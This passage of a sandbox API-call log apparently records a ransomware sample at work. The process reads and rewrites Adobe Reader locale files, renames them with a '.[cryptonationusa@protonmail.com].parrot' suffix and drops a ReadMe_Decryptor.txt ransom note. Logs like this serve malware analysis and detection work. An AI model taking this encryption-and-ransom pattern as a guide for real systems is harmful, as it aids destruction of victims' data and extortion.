lpNewFilePointer=0xffffffff) returned 1 [0258.146] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0258.155] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.155] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0258.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0258.165] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0258.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0258.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0258.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0258.165] GetLastError () returned 0x0 [0258.165] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0258.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0258.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0258.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0258.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0258.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0258.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0258.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0258.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0258.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0258.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0258.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0258.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0258.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0258.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0258.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0258.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0258.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0258.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0258.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0258.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0258.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0258.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0258.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0258.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0258.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0258.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0258.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0258.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0258.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0258.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0258.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0258.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0258.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0258.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0258.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0258.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0258.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0258.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0258.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0258.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x32de660 [0258.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0258.167] WriteFile (in: hFile=0x1b0, lpBuffer=0x32de680*, nNumberOfBytesToWrite=0x1b28, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x32de680*, lpNumberOfBytesWritten=0x18e8f4*=0x1b28, lpOverlapped=0x0) returned 1 [0258.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32de660 | out: hHeap=0x5b0000) returned 1 [0258.179] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0258.179] CloseHandle (hObject=0x1b0) returned 1 [0258.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0258.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x22f7550 [0258.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3279e80 | out: hHeap=0x5b0000) returned 1 [0258.179] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\AdobeCollabSync.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\adobecollabsync.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\AdobeCollabSync.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\adobecollabsync.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0258.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0258.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0258.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0258.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0258.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0258.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0258.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0258.187] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0258.187] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0258.192] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.192] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7c600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7c600, lpOverlapped=0x0) returned 1 [0258.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0258.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0258.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0258.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0258.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0258.282] GetLastError () returned 0x0 [0258.290] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0258.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0258.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0258.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0258.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0258.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0258.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0258.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0258.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0258.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0258.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0258.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0258.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0258.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0258.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0258.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0258.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0258.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0258.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0258.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0258.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0258.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0258.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0258.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0258.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0258.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0258.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0258.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0258.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0258.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0258.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0258.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0258.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0258.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0258.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0258.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0258.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0258.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0258.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0258.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0258.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x32de660 [0258.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0258.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x3326648 [0258.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32de660 | out: hHeap=0x5b0000) returned 1 [0258.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x33295e0 [0258.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0258.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x332dd30 [0258.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33295e0 | out: hHeap=0x5b0000) returned 1 [0258.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x329e548 [0258.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332dd30 | out: hHeap=0x5b0000) returned 1 [0258.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x3326648 [0258.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0258.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x329e548 [0258.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0258.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x3350048 [0258.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0258.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x32a39) returned 0x329e548 [0258.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0258.293] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4bf44) returned 0x3350048 [0258.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0258.293] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x71ed4) returned 0x33f0008 [0258.297] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0258.298] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xaae2c) returned 0x2bc0020 [0258.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33f0008 | out: hHeap=0x5b0000) returned 1 [0258.310] WriteFile (in: hFile=0x1b0, lpBuffer=0x2bc0040*, nNumberOfBytesToWrite=0x7c728, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2bc0040*, lpNumberOfBytesWritten=0x18e8f4*=0x7c728, lpOverlapped=0x0) returned 1 [0258.356] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2bc0020 | out: hHeap=0x5b0000) returned 1 [0258.359] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7c718, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0258.359] CloseHandle (hObject=0x1b0) returned 1 [0258.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x315d788 [0258.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x3339fc8 [0258.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0258.359] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Annots.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\annots.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Annots.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\annots.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0258.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339fc8 | out: hHeap=0x5b0000) returned 1 [0258.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0258.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0258.365] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0258.365] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0258.365] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0258.366] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0258.366] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\ReadMe_Decryptor.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e6e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0258.367] GetFileType (hFile=0x1b0) returned 0x1 [0258.367] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0258.377] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0258.377] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0258.382] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.382] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3400, lpOverlapped=0x0) returned 1 [0258.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0258.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0258.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0258.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0258.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0258.389] GetLastError () returned 0x0 [0258.390] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0258.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0258.390] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0258.390] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0258.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0258.390] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0258.390] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0258.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0258.390] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0258.390] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0258.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0258.390] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0258.391] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0258.391] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0258.391] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0258.391] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0258.391] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0258.391] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0258.391] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0258.391] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0258.391] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0258.391] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0258.391] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0258.391] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0258.391] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0258.391] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0258.391] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0258.391] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0258.391] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0258.391] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0258.391] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0258.391] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0258.391] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0258.391] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0258.391] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0258.391] HeapFree (in: 